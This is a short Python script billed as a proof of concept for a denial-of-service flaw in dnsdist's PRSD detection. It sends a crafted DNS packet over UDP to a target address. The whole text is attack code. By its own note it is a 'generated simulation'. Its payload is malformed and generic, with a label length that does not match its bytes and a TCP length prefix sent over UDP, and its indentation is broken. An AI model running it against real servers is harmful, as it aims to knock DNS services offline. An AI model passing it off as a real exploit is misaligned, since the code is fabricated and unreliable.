The following code is for security research and authorized testing only.
python
import socket
# Conceptual PoC for CVE-2026-33597
# This script attempts to trigger the PRSD detection DoS in dnsdist.
# Note: This is a generated simulation based on the vulnerability description.
target_ip = "192.168.1.10"
target_port = 53
# Crafting a potentially malicious DNS payload
# In a real scenario, specific flags or length fields would trigger the PRSD bug.
payload = b"\x00\x1e" + b"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x03" + b"A"*20 + b"\x00" + b"\x00\x01\x00\x01"
try:
print(f"[*] Sending payload to {target_ip}:{target_port}...")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target_ip, target_port))
print("[+] Payload sent. Check if the dnsdist service crashes.")
except Exception as e:
print(f"[-] Error: {e}")